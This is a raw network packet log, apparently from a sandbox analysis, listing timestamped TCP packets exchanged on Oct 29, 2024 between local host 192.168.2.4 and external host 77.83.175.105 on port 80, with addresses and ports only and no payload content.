Oct 29, 2024 04:17:00.437359095 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.437968016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437983990 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.437998056 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.438011885 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.438019991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.438028097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.438043118 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.438045025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.438067913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.438107014 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556199074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556245089 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556261063 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556302071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556330919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556345940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556364059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556377888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556394100 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556399107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556399107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556399107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556400061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556407928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556423903 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556440115 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556452990 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556456089 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556469917 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556484938 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556485891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556495905 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556499958 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556514978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556528091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556530952 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556545973 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.556557894 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556600094 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.556622028 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.671086073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671107054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671120882 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671135902 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671150923 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671165943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671180964 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671188116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671201944 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671219110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671233892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.671351910 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.671395063 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671410084 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671425104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671438932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671453953 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.671458006 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.671499968 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.671530962 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.672194004 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.672208071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.672223091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.672264099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.672292948 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.672342062 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.672398090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787377119 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787504911 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787542105 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787552118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787578106 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787596941 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787596941 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787614107 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787632942 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787646055 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787657022 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787681103 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787698984 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787717104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787736893 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787770987 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.787959099 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.787992001 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788017035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788028002 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788047075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788062096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788083076 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788122892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788424015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788474083 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788479090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788508892 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788527966 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788542986 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788575888 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788577080 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788614988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.788614988 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788635969 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.788669109 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.789205074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.789237976 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.789258003 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.789273977 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.789292097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.789331913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904067039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904099941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904140949 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904153109 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904165030 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904187918 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904203892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904222012 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904237032 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904257059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904274940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904289961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904308081 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904325962 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904339075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904361010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904371977 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904414892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904920101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904953003 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.904978991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.904990911 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905025005 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905050993 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905152082 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905203104 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905265093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905298948 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905317068 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905333042 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905353069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905365944 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905383110 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905417919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905826092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905859947 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905884027 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905904055 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905915022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905949116 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905971050 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.905982971 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:00.905992985 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:00.906033039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021003962 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021123886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021171093 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021178961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021213055 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021245003 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021248102 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021281958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021282911 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021317005 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021337032 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021347046 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021370888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021385908 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021409988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021413088 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021462917 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021518946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021553993 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021574020 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021589041 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021603107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021621943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021636009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021656990 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.021670103 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.021697998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022006989 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022059917 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022069931 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022093058 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022108078 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022125959 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022142887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022161007 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022170067 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022197008 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022207975 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022242069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022732019 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022764921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022799969 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022800922 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.022818089 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.022850037 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.137697935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.137834072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.137851000 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.137871981 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.137907028 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.137943029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.137976885 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138011932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138024092 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138029099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138029099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138029099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138029099 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138045073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138062954 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138081074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138103008 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138143063 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138303041 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138336897 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138356924 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138370037 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138394117 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138422966 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138540983 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138592005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138609886 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138628006 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138645887 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138660908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138678074 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138695955 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.138709068 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.138752937 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.139097929 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.139148951 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.139154911 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.139182091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.139204025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.139214993 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.139239073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.139247894 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.139272928 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.139307022 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.184324980 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.184392929 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.184427977 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.184434891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.184448957 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.184478998 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254514933 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254635096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254636049 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254687071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254720926 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254754066 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254786968 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254791021 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254791021 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254791021 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254820108 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254821062 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254831076 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254854918 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254869938 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254889011 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.254904985 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.254935026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255067110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255100965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255116940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255135059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255146027 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255171061 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255179882 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255217075 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255532026 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255564928 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255584955 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255600929 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255611897 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255634069 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255647898 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255667925 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255678892 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255701065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255712032 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255738020 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255754948 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255767107 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.255783081 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.255811930 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.300739050 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.300815105 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.300848961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.300882101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.300918102 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.300967932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.300967932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.300967932 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.301121950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371516943 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371565104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371593952 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371620893 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371640921 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371675014 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371697903 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371709108 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371733904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371742010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371758938 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371776104 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371794939 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371810913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.371819973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.371867895 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372282982 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372318029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372347116 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372354031 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372368097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372416019 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372427940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372461081 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372498989 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372529984 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372595072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372661114 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372694016 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372694969 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372715950 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372730017 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372752905 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372761965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372790098 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372796059 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372813940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:01.372829914 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372862101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:01.372864008 CET	49730	80	192.168.2.4	77.83.175.105
